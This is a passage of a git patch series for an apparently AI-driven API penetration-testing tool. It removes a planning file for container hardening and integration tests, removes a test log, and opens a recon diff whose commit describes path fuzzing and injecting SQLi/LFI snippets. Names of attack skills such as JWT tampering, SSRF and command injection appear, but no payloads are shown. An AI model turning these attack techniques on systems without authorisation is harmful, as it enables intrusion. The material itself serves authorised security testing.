--maxmemory 100mb --maxmemory-policy allkeys-lru` - - Add network definitions: - ```yaml - networks: - internal: - driver: bridge - internal: true - external: - driver: bridge - ``` - - Create `deploy/docker-compose.override.dev.yml` for development: - - Override `read_only: false` for all services (easier debugging) - - Override resource limits with higher values - - Add volume mounts for source code (hot reload) - - Add a `.dockerignore` file if not present: exclude `.git`, `__pycache__`, `.venv`, `*.pyc`, `.sisyphus` - - **Must NOT do**: - - Do not add per-tool-invocation containers — workers are long-running containers that process queued invocations - - Do not restrict network access for the api-gateway — it needs to reach external targets - - Do not remove existing environment variable passthrough for API keys - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Docker security hardening with specific Linux capability management; requires DevOps/security knowledge - - **Parallelization**: Wave 6 | **Blocks**: Task 37 | **Blocked By**: Tasks 23-26 (workers must be finalized before hardening their containers) - - **References**: - - `deploy/docker-compose.yml:1-65` — Current compose file with `x-worker-common` anchor (line 3), services, and environment vars - - `deploy/docker-compose.yml:3-13` — `x-worker-common` anchor — add security constraints here for all workers - - `deploy/docker-compose.yml:14-35` — `api-gateway` service — needs separate security profile (bridges networks) - - `deploy/docker-compose.yml:37-49` — `redis` and `postgres` services — add resource limits - - Docker Compose security best practices: https://docs.docker.com/compose/compose-file/05-services/#security_opt - - **Acceptance Criteria**: - - [ ] All worker containers have `read_only`, `no-new-privileges`, `cap_drop: ALL`, resource limits - - [ ] Workers can only reach `internal` network; api-gateway bridges `internal` + `external` - - [ ] Postgres has named volume for data persistence - - [ ] Redis has memory limit and eviction policy - - [ ] `docker compose -f deploy/docker-compose.yml config` validates without errors - - [ ] Dev override file exists for development workflow - - **QA Scenarios:** - ``` - Scenario: Docker compose config validates - Tool: Bash - Steps: - 1. Run `docker compose -f deploy/docker-compose.yml config` - 2. Assert exit code 0 (valid config) - 3. Assert output contains `read_only: true` for worker services - 4. Assert output contains `no-new-privileges:true` in security_opt - 5. Assert output contains network definitions (internal, external) - Expected Result: Valid compose config with all security constraints present - Evidence: .sisyphus/evidence/task-36-compose-validate.txt - - Scenario: Worker containers have correct capability profile - Tool: Bash - Steps: - 1. Parse docker-compose.yml - 2. For each worker service, verify: cap_drop=[ALL], cap_add=[NET_RAW], mem_limit=512m - 3. Verify api-gateway has networks: [internal, external] - 4. Verify workers have networks: [internal] only - Expected Result: All security constraints correctly applied per service role - Evidence: .sisyphus/evidence/task-36-security-profile.txt - ``` - - **Commit**: `feat(deploy): harden Docker containers with read-only fs, capability drops, network isolation, and resource limits` - - -- [ ] 37. Integration tests — full scenario pipeline - - **What to do**: - - Create comprehensive integration tests that validate the end-to-end scenario pipeline: - - Create `tests/integration/test_scenario_pipeline.py`: - - Test the full flow: scenario YAML → parser → discovery → skill selection → worker dispatch → reporting - - All external dependencies (LLM, tool binaries, Postgres, Redis) are mocked - - Tests: - 1. `test_directed_mode_pipeline()`: scenario.mode="directed" - - Load example scenario YAML, parse it, create ScenarioRunner with mocked services - - Assert controller.run_session() called (not coordinator) - - Assert ReportArtifact returned with correct session_id - 2. `test_agent_mode_pipeline()`: scenario.mode="agent" - - Load scenario YAML, parse, run - - Assert coordinator.run_agent_loop() called (not controller.run_session()) - - Assert findings returned from mocked LLM + worker pipeline - 3. `test_discovery_feeds_into_execution()`: GraphQL discovery → skill context - - Mock graphql_introspect to return 3 endpoints - - Assert discovered endpoints appear in session context - - Assert GraphQL skills become eligible (preconditions met) - 4. `test_config_precedence_e2e()`: CLI → scenario → env → defaults - - Set env var, scenario YAML var, and CLI var for same key - - Assert CLI value wins - 5. `test_reporting_generates_all_formats()`: MD + JSON + SARIF + JUnit - - Enable all report formats, run scenario - - Assert 4 files generated in output directory - 6. `test_identity_differential_scanning()`: Multiple identities from scenario - - Scenario has 2 identities (anonymous, admin) - - Assert skills executed for both identity contexts - 7. `test_scenario_with_instructions()`: Greybox instructions from scenario YAML - - Scenario has instructions: skip_csrf_check, force_jwt_alg_none - - Assert instructions propagated to skill execution context - - Create `tests/integration/conftest.py`: - - Shared fixtures: `mock_controller`, `mock_coordinator`, `mock_dispatcher`, `sample_scenario_yaml`, `sample_findings` - - `@pytest.fixture` that creates a temporary scenario YAML file - - Create `tests/integration/__init__.py` - - **Must NOT do**: - - Do not require running Docker, Postgres, or Redis — all integration tests use mocks - - Do not make actual HTTP requests or run real tool binaries - - Do not duplicate unit test coverage — focus on component interaction, not individual function behavior - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - Reason: Requires understanding all components and how they connect; complex fixture setup with proper async mocking - - **Parallelization**: Wave 7 | **Blocks**: Task 39 | **Blocked By**: Tasks 28-36 (all implementation must be complete) - - **References**: - - `src/secnodeapi/pipeline/scenario.py` — After Task 30: `ScenarioRunner.run()` method being tested end-to-end - - `src/secnodeapi/scenario_parser.py` — After Task 4: `ScenarioParser.parse()` for loading scenario YAML - - `src/secnodeapi/agents/coordinator.py` — After Task 28: `AgentCoordinator` for agent mode path - - `src/secnodeapi/agents/dispatcher.py` — After Task 29: `WorkerDispatcher` for parallel execution path - - `src/secnodeapi/services/controller/service.py` — `ControllerService` for directed mode path - - `src/secnodeapi/config_loader.py` — After Task 2: `LayeredConfig` for config precedence testing - - `src/secnodeapi/reporting/sarif.py` — After Task 32: `SarifReporter` for SARIF output - - `src/secnodeapi/reporting/junit.py` — After Task 33: `JUnitReporter` for JUnit output - - `tests/` — Existing test patterns: pytest fixtures, conftest structure, async test conventions (after Task 1 fix) - - **Acceptance Criteria**: - - [ ] 7 integration tests covering all scenario pipeline paths - - [ ] All tests pass: `pytest tests/integration/test_scenario_pipeline.py -v` - - [ ] Tests run without Docker, Postgres, Redis, or real HTTP calls - - [ ] Config precedence validated end-to-end - - [ ] Both agent and directed modes tested - - [ ] Discovery → execution → reporting chain validated - - **QA Scenarios:** - ``` - Scenario: All integration tests pass - Tool: Bash - Steps: - 1. Run `pytest tests/integration/test_scenario_pipeline.py -v --tb=short` - 2. Assert exit code 0 - 3. Assert output shows 7 passed tests - 4. Assert no warnings about missing imports or fixtures - Expected Result: 7 passed, 0 failed, 0 errors - Evidence: .sisyphus/evidence/task-37-integration-tests.txt - - Scenario: Integration tests don't require external services - Tool: Bash - Steps: - 1. Stop Docker, disconnect from any Postgres/Redis - 2. Run pytest tests/integration/ -v - 3. Assert all tests pass (mocked dependencies) - Expected Result: Tests pass without any external service running - Evidence: .sisyphus/evidence/task-37-no-external-deps.txt - ``` - - **Commit**: `test(integration): add end-to-end scenario pipeline integration tests` - ---- - -- [ ] 38. Integration tests — multi-agent coordination - - **What to do**: - - Create integration tests for the multi-agent coordination layer: - - Create `tests/integration/test_multi_agent.py`: - - Tests: - 1. `test_coordinator_full_loop()`: 3-iteration agent loop - - Mock call_llm to return: round 1 → 3 skill invocations, round 2 → 2 invocations (follow-up), round 3 → stop=true - - Mock execute_invocation to return canned findings for each skill - - Assert: 3 LLM calls made, 5 total invocations executed, findings collected, loop terminated - 2. `test_coordinator_budget_exhaustion()`: Budget stops the loop - - Configure request_budget=3, mock LLM to request 5 invocations per round - - Assert: loop stops after budget reached, partial findings returned, no crash - 3. `test_dispatcher_parallel_execution()`: Concurrent worker execution - - Create 6 invocations across 3 worker types, max_concurrency=2 - - Mock execute_invocation with timing assertions - - Assert: parallel execution occurred (wall time < sequential time), all results collected - 4. `test_dispatcher_phase_ordering()`: recon → discovery → fuzzing → exploit - - Create invocations for all 4 phases, track execution order - - Assert: phases execute in correct order, parallel within each phase - 5. `test_coordinator_with_dispatcher()`: Full coordinator + dispatcher integration - - Wire AgentCoordinator with WorkerDispatcher (both with mocked dependencies) - - Run agent loop, assert dispatcher.dispatch_batch() was called for execution - 6. `test_coordinator_llm_error_recovery()`: LLM returns garbage - - Mock call_llm to return invalid JSON first, then valid JSON - - Assert: coordinator handles error gracefully, continues loop - 7. `test_attack_graph_updated_by_coordinator()`: Graph edges added during execution - - Run coordinator loop, assert attack graph has edges for each executed skill - - Assert edge success/failure matches finding results - - Use `pytest-asyncio` markers (fixed in Task 1) for all async tests - - **Must NOT do**: - - Do not test individual unit behavior (covered by unit tests in Tasks 28-29) - - Do not make real LLM calls or tool executions - - Do not test the scenario pipeline (that's Task 37) - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - Reason: Complex async mock setup with timing assertions and multi-component integration - - **Parallelization**: Wave 7 | **Blocks**: Task 39 | **Blocked By**: Tasks 28, 29 (coordinator and dispatcher must exist) - - **References**: - - `src/secnodeapi/agents/coordinator.py` — After Task 28: `AgentCoordinator` with `run_agent_loop()` being tested - - `src/secnodeapi/agents/dispatcher.py` — After Task 29: `WorkerDispatcher` with `dispatch_batch()`, `dispatch_by_phase()` - - `src/secnodeapi/ai/llm_client.py:16-56` — `call_llm()` function to mock for LLM responses - - `src/secnodeapi/workers/base.py:65-97` — `execute_invocation()` to mock for worker execution - - `src/secnodeapi/attack_graph/engine.py` — `AttackGraphEngine` to verify graph updates - - `src/secnodeapi/memory/service.py` — `MemoryService` to verify context/finding/metric updates - - `tests/integration/conftest.py` — After Task 37: shared fixtures and mock helpers - - **Acceptance Criteria**: - - [ ] 7 integration tests covering coordinator + dispatcher interaction - - [ ] All tests pass: `pytest tests/integration/test_multi_agent.py -v` - - [ ] Budget exhaustion, LLM errors, and phase ordering validated - - [ ] Attack graph updates verified - - [ ] No real LLM calls or tool executions - - **QA Scenarios:** - ``` - Scenario: All multi-agent integration tests pass - Tool: Bash - Steps: - 1. Run `pytest tests/integration/test_multi_agent.py -v --tb=short` - 2. Assert exit code 0 - 3. Assert output shows 7 passed tests - Expected Result: 7 passed, 0 failed, 0 errors - Evidence: .sisyphus/evidence/task-38-multi-agent-tests.txt - - Scenario: Coordinator test validates full 3-round loop - Tool: Bash - Steps: - 1. Run `pytest tests/integration/test_multi_agent.py::test_coordinator_full_loop -v -s` - 2. Assert output shows 3 LLM calls, 5 invocations, findings collected - Expected Result: Full coordinator loop test passes with correct call counts - Evidence: .sisyphus/evidence/task-38-coordinator-loop.txt - ``` - - **Commit**: `test(integration): add multi-agent coordination integration tests` - ---- - -- [ ] 39. Coverage push to 70% - - **What to do**: - - Analyze current coverage and add targeted tests to reach the 70% threshold: - - Run `pytest --cov=src/secnodeapi --cov-report=term-missing` to identify uncovered paths - - Prioritize coverage by impact: - 1. **Critical paths with 0% coverage**: Any new modules from Tasks 2-36 that don't have dedicated tests yet - 2. **Existing modules below 50% coverage**: Focus on branches and error paths - 3. **Easy wins**: Simple functions with no test coverage that can be tested quickly - - Create targeted test files for any modules missing tests: - - `tests/test_config_loader.py` — if not already covered by Task 2 - - `tests/test_scenario_parser.py` — if not already covered by Task 4 - - `tests/test_discovery_modules.py` — if not already covered by Tasks 9, 10, 14 - - `tests/test_skill_*.py` — fill gaps in skill test coverage (Tasks 15-22) - - `tests/test_reporting_formats.py` — if SARIF/JUnit not fully covered - - Focus on testing: - - Error paths and edge cases (empty inputs, invalid configs, malformed data) - - Branch coverage: if/else paths that aren't exercised - - Exception handling: verify correct exceptions raised - - Do NOT write tests just to inflate coverage — every test must verify meaningful behavior - - Final verification: `pytest --cov=src/secnodeapi --cov-report=term-missing --cov-fail-under=70` - - **Must NOT do**: - - Do not write trivial tests that only assert imports work (no value) - - Do not use `# pragma: no cover` to skip untestable code — only allow for truly unreachable branches - - Do not change the coverage threshold (70% is the target from pyproject.toml) - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Requires coverage analysis, identifying gaps, and writing targeted tests across many modules - - **Parallelization**: Wave 7 | **Blocks**: None (final task) | **Blocked By**: Tasks 37, 38 (integration tests provide baseline coverage) - - **References**: - - `pyproject.toml` — Coverage configuration and 70% threshold - - All `src/secnodeapi/` modules — coverage report will identify specific uncovered lines - - All `tests/` files — existing test patterns to follow - - `pytest --cov-report=term-missing` output — primary guide for what to test - - **Acceptance Criteria**: - - [ ] `pytest --cov=src/secnodeapi --cov-fail-under=70` passes (exit code 0) - - [ ] All new tests pass individually and as part of full suite - - [ ] No pragma:no-cover added to skip testable code - - [ ] Coverage report saved as evidence - - **QA Scenarios:** - ``` - Scenario: Coverage meets 70% threshold - Tool: Bash - Steps: - 1. Run `pytest --cov=src/secnodeapi --cov-report=term-missing --cov-fail-under=70` - 2. Assert exit code 0 - 3. Assert output shows total coverage >= 70% - 4. Capture full coverage report - Expected Result: Total coverage >= 70% with all tests passing - Evidence: .sisyphus/evidence/task-39-coverage-report.txt - - Scenario: Full test suite runs clean - Tool: Bash - Steps: - 1. Run `pytest -v --tb=short` (full suite, no coverage) - 2. Assert exit code 0 - 3. Assert 0 failures, 0 errors - 4. Count total tests (should be significantly more than the starting ~85) - Expected Result: All tests pass; total test count reflects new coverage - Evidence: .sisyphus/evidence/task-39-full-suite.txt - ``` - - **Commit**: `test: push test coverage to 70% with targeted tests for uncovered modules` - ---- -## Final Verification Wave (MANDATORY — after ALL implementation tasks) - -> 4 review agents run in PARALLEL. ALL must APPROVE. Rejection → fix → re-run. - -- [ ] F1. **Plan Compliance Audit** — `oracle` - Read the plan end-to-end. For each "Must Have": verify implementation exists (read file, curl endpoint, run command). For each "Must NOT Have": search codebase for forbidden patterns — reject with file:line if found. Check evidence files exist in .sisyphus/evidence/. Compare deliverables against plan. - Output: `Must Have [N/N] | Must NOT Have [N/N] | Tasks [N/N] | VERDICT: APPROVE/REJECT` - -- [ ] F2. **Code Quality Review** — `unspecified-high` - Run linter + `pytest`. Review all changed files for: empty catches, print statements in prod, commented-out code, unused imports. Check AI slop: excessive comments, over-abstraction, generic names (data/result/item/temp). Verify type annotations on all new public APIs. - Output: `Lint [PASS/FAIL] | Tests [N pass/N fail] | Files [N clean/N issues] | VERDICT` - -- [ ] F3. **Real Manual QA** — `unspecified-high` - Start from clean state. Execute EVERY QA scenario from EVERY task — follow exact steps, capture evidence. Test cross-task integration (scenario.yaml → planner → skills → workers → report). Test edge cases: empty scenario, invalid YAML, missing tools. Save to `.sisyphus/evidence/final-qa/`. - Output: `Scenarios [N/N pass] | Integration [N/N] | Edge Cases [N tested] | VERDICT` - -- [ ] F4. **Scope Fidelity Check** — `deep` - For each task: read "What to do", read actual diff (git log/diff). Verify 1:1 — everything in spec was built (no missing), nothing beyond spec was built (no creep). Check "Must NOT do" compliance. Detect cross-task contamination. Flag unaccounted changes. - Output: `Tasks [N/N compliant] | Contamination [CLEAN/N issues] | Unaccounted [CLEAN/N files] | VERDICT` - ---- - -## Commit Strategy - -| Wave | Commit Message | Files | Pre-commit Check | -|------|---------------|-------|-----------------| -| 1 | `fix(tests): configure pytest-asyncio for async test support` | `pyproject.toml`, `conftest.py` | `pytest tests/` | -| 1 | `feat(config): add layered configuration system` | `config_loader.py`, tests | `pytest tests/test_config_loader.py` | -| 1 | `feat(scenario): add YAML scenario parser` | `scenario_parser.py`, tests | `pytest tests/test_scenario_parser.py` | -| 1 | `chore(deps): add networkx and dalfox runner dependency` | `pyproject.toml`, `requirements.txt` | `pip install -e .` | -| 2 | `feat(cli): add --mode greybox, --scenario, --var flags` | `cli.py`, tests | `pytest tests/test_cli.py` | -| 2 | `feat(discovery): add GraphQL introspection pipeline` | `discovery/graphql.py`, tests | `pytest tests/test_graphql_discovery.py` | -| 2 | `feat(discovery): add JS endpoint scraper` | `discovery/js_scraper.py`, tests | `pytest tests/test_js_scraper.py` | -| 2 | `feat(tools): add dalfox XSS runner` | `tools/runners/dalfox_runner.py`, tests | `pytest tests/test_dalfox_runner.py` | -| 2 | `feat(graph): integrate NetworkX algorithms` | `attack_graph/engine.py`, tests | `pytest tests/test_attack_graph.py` | -| 2 | `feat(memory): add Postgres-backed persistent stores` | `memory/`, tests | `pytest tests/test_memory_persistence.py` | -| 3 | `feat(skills): add jwt_tamper, bola_test, rate_limit_bypass, workflow_exploit native skills` | `skills/`, tests | `pytest tests/test_skills_native.py` | -| 3 | `feat(skills): add nosql, ssrf, cmdi, xss tool wrapper skills` | `skills/`, tests | `pytest tests/test_skills_wrappers.py` | -| 4 | `feat(workers): add phase-specific intelligence to all workers` | `workers/`, tests | `pytest tests/test_workers.py` | -| 4 | `feat(graph): add Postgres persistence for attack graphs` | `attack_graph/`, tests | `pytest tests/test_graph_persistence.py` | -| 5 | `feat(agents): add multi-agent LLM coordination` | `agents/`, tests | `pytest tests/test_agents.py` | -| 5 | `feat(pipeline): wire scenario execution pipeline` | `services/`, tests | `pytest tests/test_scenario_pipeline.py` | -| 6 | `feat(reporting): add SARIF and JUnit output formats` | `reporting/`, tests | `pytest tests/test_sarif_junit.py` | -| 6 | `feat(reliability): add tool crash recovery and finding dedup` | multiple, tests | `pytest` | -| 7 | `test(integration): add full pipeline and multi-agent integration tests` | `tests/`, tests | `pytest tests/test_integration.py` | - ---- - -## Success Criteria - -### Verification Commands -```bash -pytest tests/ --tb=short # Expected: ALL PASS, 0 failures -pytest tests/ --cov=secnodeapi --cov-fail-under=70 # Expected: >= 70% coverage -ruff check src/ # Expected: 0 errors -secnodeapi --help # Expected: shows --mode, --scenario, --var flags -secnodeapi --mode greybox --scenario examples/greybox.yaml --target http://localhost:8080/swagger.json --dry-run # Expected: generates test plan -docker compose -f deploy/docker-compose.yml up --build -d # Expected: all services healthy -``` - -### Final Checklist -- [ ] All "Must Have" present (verified by F1) -- [ ] All "Must NOT Have" absent (verified by F1) -- [ ] All tests pass with >= 70% coverage -- [ ] Docker stack runs cleanly -- [ ] SARIF + JUnit output generated -- [ ] Scenario.yaml → full pipeline execution works end-to-end diff --git a/test_output.txt b/test_output.txt deleted file mode 100644 index cf051b9..0000000 --- a/test_output.txt +++ /dev/null @@ -1,110 +0,0 @@ -============================= test session starts ============================= -platform win32 -- Python 3.11.9, pytest-9.0.2, pluggy-1.6.0 -- C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Scripts\python.exe -cachedir: .pytest_cache -rootdir: C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER -configfile: pyproject.toml -plugins: anyio-4.12.1, cov-7.0.0 -collecting ... collected 32 items - -tests/test_instructions.py::TestParseInstructions::test_parse_single_instruction_basic PASSED [ 3%] -tests/test_instructions.py::TestParseInstructions::test_parse_multiple_instructions PASSED [ 6%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_value_contains_equals PASSED [ 9%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_extra_whitespace PASSED [ 12%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_empty_string PASSED [ 15%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_none_value PASSED [ 18%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_malformed_no_equals PASSED [ 21%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_empty_key_skipped PASSED [ 25%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_all_five_slots PASSED [ 28%] -tests/test_instructions.py::TestParseInstructions::test_parse_instruction_sparse_slots PASSED [ 31%] -tests/test_instructions.py::TestInstructionSetModel::test_instruction_set_creation PASSED [ 34%] -tests/test_instructions.py::TestInstructionSetModel::test_instruction_set_empty_variables PASSED [ 37%] -tests/test_instructions.py::TestInstructionSetModel::test_instruction_set_default_variables PASSED [ 40%] -tests/test_instructions.py::TestInstructionSetModel::test_instruction_set_model_dump PASSED [ 43%] -tests/test_instructions.py::TestInstructionSetModel::test_instruction_set_json_serialize PASSED [ 46%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_explicit_identities_take_precedence PASSED [ 50%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_from_instructions_token PASSED [ 53%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_from_instructions_capitalized_vars PASSED [ 56%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_multiple_instructions PASSED [ 59%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_merges_with_existing_auth_headers PASSED [ 62%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_no_instructions_no_identities PASSED [ 65%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_empty_instructions_list PASSED [ 68%] -tests/test_instructions.py::TestResolveIdentities::test_resolve_identities_instruction_token_overrides_default_auth PASSED [ 71%] -tests/test_instructions.py::TestInstructionsInAIPrompt::test_generate_test_cases_signature_accepts_instructions PASSED [ 75%] -tests/test_instructions.py::TestInstructionsInAIPrompt::test_generate_test_cases_instructions_dict_type PASSED [ 78%] -tests/test_instructions.py::TestInstructionsInAIPrompt::test_generate_test_cases_instruction_set_conversion PASSED [ 81%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_instruction_special_characters_in_values PASSED [ 84%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_instruction_json_value PASSED [ 87%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_instruction_comma_in_value_not_supported PASSED [ 90%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_instruction_unicode_values PASSED [ 93%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_resolve_identities_very_long_token PASSED [ 96%] -tests/test_instructions.py::TestInstructionsEdgeCases::test_resolve_identities_instruction_without_token PASSED [100%] - -============================== warnings summary =============================== -.venv\Lib\site-packages\_pytest\config\__init__.py:1428 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\_pytest\config\__init__.py:1428: PytestConfigWarning: Unknown config option: asyncio_default_fixture_loop_scope - - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - -.venv\Lib\site-packages\_pytest\config\__init__.py:1428 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\_pytest\config\__init__.py:1428: PytestConfigWarning: Unknown config option: asyncio_mode - - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - -.venv\Lib\site-packages\pydantic\_internal\_config.py:272: 10 warnings - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\pydantic\_internal\_config.py:272: PydanticDeprecatedSince20: Support for class-based `config` is deprecated, use ConfigDict instead. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - warnings.warn(DEPRECATION_MESSAGE, DeprecationWarning) - -.venv\Lib\site-packages\litellm\proxy\_types.py:53 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:53: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:140 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:140: PydanticDeprecatedSince20: `pydantic.config.Extra` is deprecated, use literal values instead (e.g. `extra='allow'`). Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - extra = Extra.allow # Allow extra fields - -.venv\Lib\site-packages\litellm\proxy\_types.py:143 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:143: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:172 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:172: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:218 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:218: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:279 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:279: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:291 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:291: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:330 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:330: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:357 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:357: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:618 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:618: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:641 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:641: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:660 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:660: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\llms\prompt_templates\factory.py:6 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\llms\prompt_templates\factory.py:6: DeprecationWarning: 'imghdr' is deprecated and slated for removal in Python 3.13 - import imghdr, base64 - --- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html -======================= 32 passed, 25 warnings in 2.38s ======================= From d7f25ce823295476911c306672454a7ebb032e5d Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 12:52:38 +0100 Subject: [PATCH 6/8] chore: Ignore local test artifact directories --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index dee509c..c8713e6 100644 --- a/.gitignore +++ b/.gitignore @@ -27,3 +27,5 @@ htmlcov/ .cursor/ test_output.txt all_tests.txt +results/ +strix_runs/ From be7d0556b7e5cf94017dbe15ba7821c82d229776 Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 13:06:38 +0100 Subject: [PATCH 7/8] feat(recon): Implement advanced path and parameter fuzzing - Added extended version identification (/v2/, /beta/, etc) - Added file extension fuzzing (.json, .bak, .old) - Added shadow admin path fuzzing (/admin, /system) - Injected edge-case anomalies into parameters (0, 999999, SQLi/LFI snippets) --- src/secnodeapi/services/recon.py | 48 ++++++++++++++++++++++++++++---- 1 file changed, 42 insertions(+), 6 deletions(-) diff --git a/src/secnodeapi/services/recon.py b/src/secnodeapi/services/recon.py index d656447..c0c6c85 100644 --- a/src/secnodeapi/services/recon.py +++ b/src/secnodeapi/services/recon.py @@ -17,14 +17,35 @@ def _mutate_path(path: str) -> List[str]: """Generate potential hidden paths based on existing routes.""" mutations: Set[str] = set() stripped = path.rstrip("/") + + # 